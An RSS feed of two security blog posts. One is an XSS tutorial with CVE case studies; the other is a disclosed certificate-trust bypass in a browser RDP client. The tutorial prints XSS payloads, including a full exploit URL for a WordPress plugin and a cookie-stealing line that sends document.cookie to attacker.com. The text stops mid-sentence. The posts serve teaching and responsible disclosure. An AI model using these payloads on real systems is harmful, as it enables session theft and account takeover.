<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Isv0x1 on Medium]]></title>
        <description><![CDATA[Stories by Isv0x1 on Medium]]></description>
        <link>https://medium.com/@isv0x1?source=rss-56d3ed40aa4e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wCeCPpeS844pR6bAY2M8Og.jpeg</url>
            <title>Stories by Isv0x1 on Medium</title>
            <link>https://medium.com/@isv0x1?source=rss-56d3ed40aa4e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 06:57:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@isv0x1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XSS Explained: From a Simple alert(1) to Real-World Impact —CVE’S]]></title>
            <link>https://isv0x1.medium.com/xss-explained-from-a-simple-alert-1-to-real-world-impact-cves-21c95cbb5cbe?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/21c95cbb5cbe</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 18:30:14 GMT</pubDate>
            <atom:updated>2026-11-20T18:30:14.488Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VNVOmabIAjVL5Kyzgz1Sw.png" /></figure><h3>1. What is XSS?</h3><p><strong>Cross-Site Scripting (XSS)</strong> is a vulnerability where an attacker makes a web application deliver <strong>attacker-controlled JavaScript</strong> to another user’s browser. The browser can’t tell the difference between your legitimate scripts and the injected one, so it runs both with the <strong>same privileges as the site itself</strong>.</p><p>The root cause is simple: <strong>untrusted data is mixed with code without proper encoding.</strong></p><h4>Why does it matter?</h4><p>Because the injected script runs in the origin of the victim site, it can:</p><ul><li>Read and modify the page (DOM), including forms and displayed data</li><li>Perform actions as the user (change email, transfer funds, post content)</li><li>Access data that JavaScript can reach (e.g., non-HttpOnly cookies, localStorage, tokens)</li><li>Show fake login prompts (phishing inside a trusted domain)</li><li>Serve as a stepping stone to account takeover or chaining with other bugs</li></ul><p>XSS consistently appears in the OWASP Top 10 family (under <strong>Injection</strong>) and is one of the most commonly reported bugs in bug bounty programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mX2XwCSd1aDcxbY3J5eRaA.png" /></figure><h3>2. Beginner: The Core Concepts</h3><h4>2.1 Same-Origin Policy (SOP)</h4><p>Browsers isolate sites by <strong>origin</strong> (scheme + host + port). A script on evil.com can’t read bank.com. XSS <strong>bypasses this by running inside</strong> bank.com, which is why it’s so dangerous.</p><h4>2.2 Sources and Sinks</h4><p>This mental model is the key to understanding XSS at every level:</p><ul><li><strong>Source</strong>: where attacker-controlled data enters (URL parameter, form field, location.hash, postMessage, cookies, API responses).</li><li><strong>Sink</strong>: where that data is used in a dangerous way (innerHTML, document.write, eval, setTimeout(string), href, etc.).</li></ul><blockquote><strong><em>XSS = Source → (no/insufficient sanitization) → Sink</em></strong></blockquote><h4>2.3 Context matters</h4><p>The same input is dangerous or harmless depending on <strong>where</strong> it lands:</p><p>ContextExampleWhat breaks itHTML body&lt;p&gt;USER&lt;/p&gt;Injecting a new tagHTML attribute&lt;input value=&quot;USER&quot;&gt;Closing the quote, adding an event handlerJavaScript stringvar x = &#39;USER&#39;;Closing the string, injecting codeURL&lt;a href=&quot;USER&quot;&gt;javascript: schemeCSSstyle=&quot;USER&quot;Legacy/edge cases</p><h3>3. The Three Classic Types</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tt4afY62-veduEWSDYxg1A.png" /></figure><h4>3.1 Reflected XSS</h4><p>Reflected XSS occurs when an application receives malicious input through a request and immediately reflects it back in its response without proper validation, sanitization, or output encoding.</p><p>An attacker typically crafts a malicious URL and tricks a victim into opening it. If the vulnerable page reflects the injected payload into the HTML response, the browser may execute it within the context of the target website.</p><p>Unlike Stored XSS, the payload is not permanently saved on the server. It travels with the request and is reflected in the response.</p><p>Vulnerable pseudo-code:</p><p>php</p><pre>echo &quot;Search results for: &quot; . $_GET[&#39;q&#39;];</pre><p>A test input like &lt;script&gt;alert(document.domain)&lt;/script&gt; shows whether the input is rendered as code. Using document.domain instead of 1 is a good habit: it proves <strong>which origin</strong> the code runs in, which matters for bug bounty reports.</p><p><strong>🎮 Try it yourself</strong>: <a href="https://xss-game.appspot.com/level1)%20(Google&#39;s%20reflected-XSS%20challenge">XSS Game — Level 1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*C8TPdAPVwP-Qp2TMBJJ1xg.png" /><figcaption>level : 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*vBlkoT6ol3bXfJAgB9JTaQ.png" /></figure><h4>3.2 Stored (Persistent) XSS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3t56baHXB9hvE_JiPUlz9A.png" /></figure><p>In Stored XSS, the attacker injects a malicious payload that gets permanently stored on the server, typically in a database. When another user visits the affected page, the application retrieves and renders the stored content without proper sanitization or encoding, causing the injected script to execute in the victim’s browser.</p><p>Unlike other XSS types, the attacker doesn’t need to send a malicious link to every victim. The payload is already stored within the application and can affect anyone who accesses the vulnerable page.</p><p><strong>The attack flow:</strong> Inject → Store → Render → Execute.</p><p>🎮 <strong>Try it yourself =</strong><a href="https://xss-game.appspot.com/level2">XSS game: Level 2</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*T_Vczd0TV-lo3R0PWZgEtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*f-UrnRPqHzlQs2e5dxlFYQ.png" /></figure><h4>3.3 DOM-Based XSS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3megEjPTzH_Vgh3P8kUN7w.png" /></figure><p>DOM-Based XSS occurs when client-side JavaScript processes attacker-controlled input and introduces it into an unsafe DOM operation, allowing malicious code to execute within the victim’s browser.</p><p>In this case, the vulnerability exists in the client-side code rather than the server’s response. Sources such as location.search, location.hash, or other user-controlled data may reach dangerous sinks like innerHTML, document.write(), or similar DOM manipulation methods.</p><p>The browser processes the malicious input locally, potentially executing the injected code without the payload ever being reflected directly by the server.</p><p><strong>The attack flow:</strong> Source → JavaScript Processing → Unsafe Sink → Execute.</p><p>The vulnerability lives <strong>entirely in client-side JavaScript</strong>. The server may never see the payload.</p><pre>// Source: location.hash  →  Sink: innerHTML<br>document.getElementById(&#39;welcome&#39;).innerHTML = location.hash.substring(1);</pre><p>Because the payload can stay in the fragment (#...), it is often not logged by servers and not caught by server-side filters. Finding DOM XSS means <strong>reading JavaScript</strong> and tracing sources to sinks (DevTools, source review, or tools like DOM Invader in Burp Suite).</p><p>🎮<strong> Try it yourself = </strong><a href="https://xss-game.appspot.com/level6">XSS Game — Level 6</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*ldUJiECCZ4_Yr_N4LTHhLQ.gif" /></figure><h3>4. Intermediate: Finding XSS Methodically</h3><h4>4.1 A practical testing workflow</h4><ol><li><strong>Map the inputs</strong>: parameters, headers, JSON fields, file names, uploaded SVG/HTML, WebSocket messages.</li><li><strong>Inject a unique harmless marker</strong> (e.g., xss7f3a) and find every place it’s reflected.</li><li><strong>Identify the context</strong> for each reflection (view source <em>and</em> inspect the live DOM; they can differ).</li><li><strong>Check what’s encoded/filtered</strong>: try characters like &lt; &gt; &quot; &#39; / ` and see which survive.</li><li><strong>Craft a context-appropriate proof of concept</strong> (alert(document.domain) or print(); newer browsers restrict alert in cross-origin iframes).</li><li><strong>Assess impact</strong> realistically (cookies HttpOnly? CSP present? Sensitive actions available?).</li></ol><h4>4.2 Context-specific breakouts (conceptual examples)</h4><ul><li><strong>HTML body</strong>: introduce a new element that executes script via an event, e.g. &lt;img src=x onerror=alert(1)&gt;.</li><li><strong>Attribute context</strong>: close the attribute and add a handler: &quot; autofocus onfocus=alert(1) x=&quot;.</li><li><strong>JS string context</strong>: close the string and the statement: &#39;;alert(1);//.</li><li><strong>href/</strong><strong>src sinks</strong>: javascript:alert(1) where schemes aren’t validated.</li></ul><h4>4.3 Where people forget to look</h4><ul><li><strong>Markdown renderers</strong>, rich-text editors, and “preview” features</li><li><strong>SVG uploads</strong> (SVG can contain scripts)</li><li><strong>Error pages</strong>, 404 pages reflecting the path</li><li><strong>PDF/email generators</strong> and admin panels (blind XSS)</li><li><strong>Third-party widgets</strong> and old JS libraries (e.g., vulnerable jQuery or template engines)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*y9MmMxXQi13DJNm9d7hIHw.gif" /></figure><h3>5. Advanced Topics</h3><h4>5.1 Blind XSS</h4><p>The payload is stored but fires in a <strong>different application you can’t see</strong>, such as an admin dashboard, logging system, or support panel. Testers use a callback service (like XSS Hunter-style tooling or Burp Collaborator) that reports when and where the payload executed (URL, DOM snapshot, origin). Always stay within the <strong>program’s scope and rules</strong>.</p><h4>5.2 Mutation XSS (mXSS)</h4><p>Browsers “fix” malformed HTML when parsing. Sanitizers parse the input once, declare it safe, but the browser <strong>re-parses and mutates it</strong> into something dangerous when inserted into the DOM. This has caused real bypasses in widely used sanitizers, which is why keeping libraries like <strong>DOMPurify</strong> updated matters.</p><h4>5.3 Client-Side Template Injection (CSTI)</h4><p>Frameworks like AngularJS (1.x) evaluate expressions in templates. If user input lands inside a template, expressions such as {{ ... }} can lead to script execution even if &lt;script&gt; tags are blocked. Modern React/Vue/Angular are safe by default, but their escape hatches (dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml) reintroduce risk.</p><h4>5.4 Prototype pollution → XSS (gadgets)</h4><p>Polluting Object.prototype can influence library configuration so that a benign-looking sink gets attacker-controlled values. It’s a chain: <strong>pollution + gadget = XSS</strong>.</p><h4>5.5 postMessage and cross-window issues</h4><p>If a page listens for messages without verifying event.origin and passes event.data into a sink, any site can trigger XSS.</p><p>javascript</p><pre>window.addEventListener(&#39;message&#39;, e =&gt; {<br>  // ❌ No origin check<br>  document.getElementById(&#39;box&#39;).innerHTML = e.data;<br>});</pre><h4>5.6 Filter and WAF evasion: the right mindset</h4><p>WAFs match patterns; they don’t fix the underlying bug. Researchers study how <strong>parsers differ</strong> (case variations, alternative event handlers, encodings, HTML entities in attributes, unusual tags/attributes). The lesson for defenders: <strong>a WAF is a speed bump, not a fix.</strong> The real fix is output encoding and a strong CSP.</p><h4>5.7 Bypassing CSP (what defenders should know)</h4><p>A Content Security Policy can stop most XSS, but weak policies are bypassable:</p><ul><li>unsafe-inline or unsafe-eval allowed</li><li>Wildcards or whitelisted domains hosting user content / JSONP endpoints / old libraries</li><li>Missing base-uri (base tag injection) or object-src</li><li>Dangling markup attacks that leak data without script execution</li></ul><h4>5.8 Impact beyond alert(1)</h4><p>A mature report explains <strong>business impact</strong>: What data is reachable? Is the session cookie HttpOnly? Can the script perform state-changing actions (CSRF-protected endpoints can still be called from within the origin)? Is an admin affected? Is account takeover realistic? Triagers reward demonstrated impact, not just a popup.</p><h3>6. Defense: How to Actually Fix It</h3><h4>6.1 The golden rule</h4><blockquote><strong><em>Validate input, but encode output, in the correct context.</em></strong></blockquote><p>ContextCorrect defenseHTML bodyHTML-encode (&lt; → &amp;lt;)HTML attributeAttribute-encode + always quote attributesJavaScriptAvoid inserting data into scripts; use JSON.stringify + data attributesURLValidate scheme (allow only http/https), URL-encode parametersCSSAvoid user input in CSS</p><h4>6.2 Safe DOM APIs</h4><p>javascript</p><pre>// ❌ Dangerous<br>el.innerHTML = userInput;</pre><pre>// ✅ Safe<br>el.textContent = userInput;</pre><h4>6.3 If you must allow HTML</h4><p>Use a maintained sanitizer such as <strong>DOMPurify</strong> with a strict allowlist, and keep it updated. Never write your own regex-based sanitizer.</p><h4>6.4 Content Security Policy (defense in depth)</h4><p>A strong, modern policy uses <strong>nonces or hashes</strong> and avoids unsafe-inline:</p><pre>Content-Security-Policy:<br>  default-src &#39;self&#39;;<br>  script-src &#39;nonce-{RANDOM}&#39; &#39;strict-dynamic&#39;;<br>  object-src &#39;none&#39;;<br>  base-uri &#39;none&#39;;</pre><h4>6.5 Additional layers</h4><ul><li><strong>HttpOnly</strong>, <strong>Secure</strong>, and <strong>SameSite</strong> cookie flags</li><li><strong>Trusted Types</strong> (require-trusted-types-for &#39;script&#39;) to eliminate DOM sinks misuse</li><li>Framework auto-escaping (don’t disable it)</li><li>Regular dependency updates and code review focused on sinks</li><li>Correct Content-Type and X-Content-Type-Options: nosniff</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*-iOqJqS0R4DUfbQ575AV4A.gif" /></figure><h3>7. CVE-2018–9034</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOTnVZqHLk0MH5R1-KNG0Q.png" /></figure><p><strong>Vulnerability:</strong> Cross-Site Scripting (XSS) — CWE-79<br> <strong>Affected software:</strong> Relevanssi WordPress plugin, versions ≤ 4.0.4<br> <strong>Location:</strong> lib/interface.php</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-9034">https://nvd.nist.gov/vuln/detail/CVE-2018-9034</a></p><p><strong>Description:</strong></p><p>The Relevanssi WordPress plugin before version 4.0.4 is vulnerable to a reflected Cross-Site Scripting (XSS) flaw in lib/interface.php. The plugin’s admin settings page reads the tab parameter directly from the URL’s GET request and echoes it back into the page’s HTML — used to determine which settings tab is marked active — without sanitizing or encoding it first. As a result, an authenticated user (the flaw requires low-privileged authentication, per its Au:S CVSS vector) can craft a URL containing arbitrary JavaScript or HTML in the tab parameter. When a victim with access to the WordPress admin panel opens that crafted link, the injected script executes in the context of the WordPress admin session.</p><p><strong>Impact:</strong> Partial integrity impact (CVSS 5.4, medium) — an attacker can execute arbitrary script in an admin’s browser session, potentially performing actions on their behalf within the WordPress dashboard.</p><h3>Payload</h3><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>Full exploit URL, placed in the vulnerable tab parameter:</p><pre>http://[target]/wp-admin/admin.php?page=relevanssi/relevanssi.php&amp;tab=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</pre><p><strong>Breaking it down:</strong></p><ul><li>&quot; — closes whatever HTML attribute the tab value is being echoed into (likely a class=&quot;...&quot; or value=&quot;...&quot; on the tab link element)</li><li>&gt; — closes the enclosing tag</li><li>&lt;script&gt;alert(1)&lt;/script&gt; — the injected payload that executes in the page</li></ul><h3>2019 — CVE-2019–11358 (jQuery)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KnNqpuwdmv8Fm8NKeI0Dw.png" /></figure><p><strong>Vulnerability:</strong> Prototype Pollution leading to XSS<br> <strong>Affected software:</strong> jQuery &lt; 3.4.0<br> <strong>Location:</strong> jQuery.extend()</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-11358">https://nvd.nist.gov/vuln/detail/CVE-2019-11358</a></p><p><strong>Description:</strong> jQuery’s $.extend(true, {}, object) (deep merge) failed to check for __proto__ keys in the source object. An attacker who controls JSON that gets passed into $.extend can pollute Object.prototype globally, which many apps then turn into XSS or logic bypasses depending on what properties get polluted.</p><p><strong>Payload:</strong></p><pre>$.extend(true, {}, JSON.parse(&#39;{&quot;__proto__&quot;: {&quot;devMode&quot;: true}}&#39;));</pre><p>This is the base PoC from the advisory. The actual XSS depends on the host app reading a polluted property (e.g. a template engine’s escapeHTML flag) and rendering unescaped output as a result.</p><h3>2019 — CVE-2019–16728 (DOMPurify)</h3><p><strong>Vulnerability:</strong> Mutation XSS (mXSS)<br> <strong>Affected software:</strong> DOMPurify &lt; 2.0.1 (the sanitizer library itself, found by Masato Kinugawa)<br> <strong>Location:</strong> SVG/MathML parsing in the sanitization step</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ki0rtsW5ZRrSm_-kUtIoxA.png" /></figure><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-16728">https://nvd.nist.gov/vuln/detail/CVE-2019-16728</a></p><p><strong>Description:</strong> Ironic one for an article — this is a bug <em>in a sanitizer</em>. DOMPurify would sanitize a string, consider it safe, then the browser’s own HTML parser would “mutate” the sanitized markup when re-parsing it (e.g. inside an &lt;svg&gt; or &lt;math&gt; context), reintroducing executable code that wasn’t there at sanitize-time.</p><p><strong>Payload (conceptual pattern used in mXSS research):</strong></p><pre>&lt;svg&gt;&lt;p&gt;&lt;style&gt;&lt;img src=&quot;&lt;/style&gt;&lt;img src=x onerror=alert(1)//&quot;&gt;</pre><p>The sanitizer sees a harmless &lt;style&gt; block; the browser’s parser, when re-serializing, breaks out of it.</p><h3>2020 — CVE-2020–11022 / CVE-2020–11023 (jQuery)</h3><p><strong>Vulnerability:</strong> XSS via jQuery.htmlPrefilter<br> <strong>Affected software:</strong> jQuery &lt; 3.5.0<br> <strong>Location:</strong> .html(), .append(), and related DOM manipulation methods</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11022">https://nvd.nist.gov/vuln/detail/CVE-2020-11022</a></p><p><strong>Description:</strong> Passing attacker-controlled HTML — even after your own sanitization — into .html() or .append() could still execute code, because jQuery’s internal prefilter mishandled &lt;option&gt;/&lt;style&gt; tags before insertion. Widely affected: tons of enterprise products bundled an old jQuery copy (IBM QRadar, Red Hat AMQ, OTRS, etc. all shipped advisories for it).</p><p><strong>Payload:</strong></p><pre>$(&quot;#container&quot;).html(&#39;&lt;option&gt;&lt;style&gt;&lt;img src=x onerror=alert(1)&gt;&lt;/style&gt;&#39;);</pre><h3>2022 — CVE-2022–24682 (Zimbra Collaboration Suite)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0Wwol4U8ALi86FBX9_Gig.png" /></figure><p><strong>Vulnerability:</strong> Stored XSS, exploited as a zero-day in the wild (“Operation EmailThief”, tracked by Volexity)<br> <strong>Affected software:</strong> Zimbra 8.8.x &lt; 8.8.15 patch 30<br> <strong>Location:</strong> Calendar feature</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-24682">https://nvd.nist.gov/vuln/detail/CVE-2022-24682</a></p><p><strong>Description:</strong> Zimbra’s calendar rendering didn’t properly encode attacker-controlled attributes inside a calendar invite. An attacker sent a crafted calendar invitation to a victim; opening/viewing it ran JavaScript in the victim’s authenticated webmail session — enough to steal session cookies and fully compromise the mailbox. This one is a good example for the article because it shows XSS escalating straight to account takeover, actively used against real targets before a patch existed.</p><p><strong>Payload (conceptual, embedded in a calendar attribute):</strong></p><pre>LOCATION:&quot;&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</pre><h3>2023 — CVE-2023–45206 (Zimbra Collaboration)</h3><p><strong>Vulnerability:</strong> Stored XSS<br> <strong>Affected software:</strong> Zimbra 8.8.15 / 9.0 / 10.0<br> <strong>Location:</strong> Webmail “help document” endpoint</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45206">https://nvd.nist.gov/vuln/detail/CVE-2023-45206</a></p><p><strong>Description:</strong> An attacker could inject JavaScript/HTML through the help-document endpoint in webmail, which other users would then trigger just by viewing that help content — another stored XSS inside the same Zimbra product line, two years after the 2022 zero-day, showing how a single large codebase keeps producing the same bug class.</p><h3>2024 — CVE-2024–45510 (Zimbra Collaboration)</h3><p><strong>Vulnerability:</strong> Stored XSS via Contacts<br> <strong>Affected software:</strong> Zimbra ZCS ≤ 10.0<br> <strong>Location:</strong> Webmail Modern UI, Contacts module</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-45510">https://nvd.nist.gov/vuln/detail/CVE-2024-45510</a></p><p><strong>Description:</strong> If a victim added an attacker as a contact, a malicious field in that contact entry executed when the victim simply viewed their contact list — no click on a link needed, just normal use of the mailbox. Impact included sending mail, exfiltrating the mailbox, and changing the profile picture, all as the victim.</p><p><strong>Payload (in a contact field, e.g. company/title):</strong></p><pre>&lt;img src=x onerror=fetch(&#39;https://attacker.com/steal?c=&#39;+document.cookie)&gt;</pre><h3>2025 — CVE-2025–25427 (TP-Link WR841N)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGybYU5dfwxOSnC9O9C_3Q.png" /></figure><p><strong>Vulnerability:</strong> Stored XSS<br> <strong>Affected software:</strong> TP-Link WR841N router firmware<br> <strong>Location:</strong> upnp.htm page of the web admin interface</p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-25427">https://nvd.nist.gov/vuln/detail/CVE-2025-25427</a></p><p><strong>Description:</strong> A good example of XSS outside the typical web-app/CMS space — this is router firmware. A field on the UPnP configuration page isn’t sanitized, so an attacker with access to the admin UI (or via CSRF tricking an authenticated admin) can store a payload that executes whenever anyone views that page, inside the router’s own management session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*yIhPnkV63TfN1kqoEZZYlA.png" /></figure><p><strong>Payload:</strong></p><pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><h3>References — OWASP XSS Prevention Cheat Sheet:</h3><p>https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html</p><p>— OWASP XSS Filter Evasion Cheat Sheet: <a href="https://owasp.org/www-community/xss-filter-evasion-cheatsheet">https://owasp.org/www-community/xss-filter-evasion-cheatsheet</a></p><p>— DOMPurify: <a href="https://github.com/cure53/DOMPurify">https://github.com/cure53/DOMPurify</a> — Google XSS Game: <a href="https://xss-game.appspot.com/">https://xss-game.appspot.com/</a></p><h3>Conclusion</h3><p>XSS is more than a popup; it’s about understanding how browsers interpret input, how vulnerabilities arise, and what attackers can achieve through them. The real skill isn’t just finding a working payload, but understanding its context, impact, and the security implications behind it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*rrS7PFhpy5jLhBz9Wzxmiw.gif" /><figcaption>Thanks For Reading</figcaption></figure><p>Follow me : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21c95cbb5cbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TOFU Bypass in one of open source project Browser RDP Client· CVSS 5.9 (Medium)]]></title>
            <link>https://isv0x1.medium.com/tofu-bypass-in-one-of-open-source-project-browser-rdp-client-cvss-5-9-medium-7296e1e1283d?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7296e1e1283d</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 10:27:48 GMT</pubDate>
            <atom:updated>2026-11-18T10:27:48.615Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZaHY2EEnwH5zjhoUeXxYg.png" /></figure><p><em>CVSS 5.9 (Medium) · GHSA-hp75-qfqq-74m7</em></p><p>ADVISORY LINK : <a href="https://github.com/netbirdio/netbird/security/advisories/GHSA-hp75-qfqq-74m7">Dashboard browser RDP client silently re-trusts substitute server certificates after first acceptance (TOFU bypass) · Advisory · netbirdio/netbird</a></p><h3><strong>RDP: When Trusting One Certificate Silences Every Future Warning</strong></h3><p>The browser-based RDP client contains a certificate-trust handling issue that may cause security warnings to be silently bypassed after a user accepts a self-signed certificate once.</p><p>The underlying problem is that the trust decision persists for the lifetime of the browser tab without being properly scoped to the specific host or certificate fingerprint. As a result, subsequent certificate changes may not trigger the expected confirmation prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*afEEpIC_OUaQFBu6exY2og.gif" /></figure><h3>How the Issue Works</h3><p>Once a user accepts a self-signed certificate, the client retains that decision across subsequent connections within the same page session. If a different certificate is presented later, the client may automatically accept it instead of asking the user to review the change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*ETc04yj0D-S6oWL4B9wWvA.png" /></figure><p>The risk is compounded by the client’s automatic reconnection behavior when the browser window is resized. Because this can trigger a new connection without an explicit user gesture, the certificate-handling flaw may be exploitable without requiring further interaction from the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*R5XNYbX0iVbL18OckHPe1w.png" /></figure><h3>A latch that lives too long</h3><p>useRemoteDesktop.ts:68 declares a single boolean for the entire hook instance — not per host, not per certificate fingerprint:</p><pre>const certificateAccepted = useRef(false);</pre><p>It is set on any acceptance, in acceptCertificatePrompt() at :260–267, and is never scoped to what was actually accepted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*uM7ZtzbrYO3dvy-z7xYnoQ.png" /></figure><h3>Auto-answering every future prompt</h3><p>useRemoteDesktop.ts:364–368 is the actual vulnerability. Any time a pendingCertificate shows up — including one flagged as changed — if the latch is true from an earlier, unrelated acceptance, it is auto-accepted before a human ever sees it:</p><pre>if (pendingCertificate &amp;&amp; certificateAccepted.current) {<br>  acceptCertificatePrompt();<br>}</pre><p>useRDPCertificateHandler.ts:194–232 correctly classifies a changed certificate (isValid:false, needsUserConfirmation:true, isChange:true), and RDPCertificateModal.tsx:46–51 has a real “certificate has changed” warning UI. Both are correct in isolation — the state management around them is not. pendingCertificate is set and the useEffect above consumes it in the same render cycle, resolving the promise before the DOM paints anything the user could react to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*8npFA4gqFwFxwzxhGY0D3Q.png" /></figure><h4>Why this leaks credentials, not just a fake desktop</h4><p>ironrdp-wasm-bridge.ts:176–178 hard-codes the security layer for this code path:</p><pre>enable_tls: true, credssp: true, nla: true</pre><p>Network Level Authentication via CredSSP means the username and password are sent inside the TLS session before the desktop session even starts — the exact TLS session the attacker’s substituted certificate just terminated. This is not “the attacker can watch mouse clicks”; it is “the attacker receives plaintext RDP credentials during the handshake,” plus full session control afterward.</p><h3><strong>The zero-click trigger</strong></h3><p>useRemoteDesktop.ts:284–359 auto-reconnects on browser window resize, with no confirmation step. Minimizing a window, snapping it to half-screen, or a DevTools panel toggling can all trigger a reconnect — and therefore a fresh certificate prompt that the stale latch will auto-accept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*3ncRtoAsnLiMnkfWGxD3IA.png" /></figure><h3>Proof of Concept</h3><h4>Manual reproduction</h4><p>1 Connect to any peer via the dashboard’s RDP client. Accept the self-signed certificate prompt, leaving “Remember this certificate” unchecked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*k5AgDeg68akL7-Dgk8gY1Q.png" /></figure><p>2 Trigger a second, different certificate: connect to a different peer, or rotate the same peer’s self-signed certificate, or simply resize the browser window to let the auto-reconnect handler fire.</p><p>3 Observe: no certificate modal appears; the session connects directly.</p><p>4 Confirm it wasn’t a remembered decision by inspecting localStorage[“XXXXX-rdp-trusted-certs”] in DevTools — the new certificate’s fingerprint is absent from it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*3YHCHIf7qhZCWbbdbYCyxQ.png" /></figure><h3><strong>Potential Security Impact</strong></h3><p><strong>Who:</strong> Every user of the browser RDP client, cloud or self-hosted</p><p><strong>What’s exposed:</strong> RDP username/password (often domain admin), full interactive session</p><p><strong>Attack class:</strong> Improper certificate re-validation / session-scoped TOFU bypass</p><p><strong>Preconditions:</strong> Attacker can present a certificate on a connection the admin initiates — a malicious/compromised peer in the mesh, or a MITM position</p><p><strong>User interaction:</strong> One prior, unrelated certificate acceptance anywhere in the tab’s lifetime; the triggering reconnect can be as passive as a window resize</p><p><strong>CVSS 3.1:</strong> 5.9 (Medium) — network attack vector but a specific adjacency/position is required; no elevated privileges needed from the victim beyond normal use</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*ps-vEkEGP1KUXI40-c_1PQ.gif" /></figure><h3>Root Cause</h3><p>This is a textbook stale trust-state bug, the same family as session tokens that never expire after a privilege change, “remember this device” flags that aren’t scoped to the device, or caching an authorization decision by action type instead of by the specific resource it applied to.</p><p>The fix isn’t “add more warnings” — the warning code already exists and is correct. The fix is trust scoping: a trust decision about fingerprint(A) on host(A) must never be allowed to answer a question about fingerprint(B) on host(B).</p><h3>The Fix</h3><p>Two independent guardrails, either of which alone would have prevented this:</p><ul><li>Scope trust by certificate fingerprint, not by browser tab.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*Ji63qICLoVC5ovdYSSA46w.png" /></figure><ul><li>Never auto-accept when isChange === true, full stop — a changed certificate always requires a fresh, explicit decision, regardless of trust history</li></ul><h3>Lessons for Anyone Building a TOFU Flow</h3><ul><li>A boolean answers “did the user ever say yes” — the right question is “did the user say yes to this specific identity.”</li><li>“Changed from what I remembered” is the single most security-relevant state a TOFU system can be in. It deserves a code path structurally incapable of silent auto-approval, not just a UI component that’s correct but reachable by a shortcut.</li><li>Auto-reconnect and other “invisible” retriggers of a security prompt are convenient for UX but dangerous if the approval logic isn’t 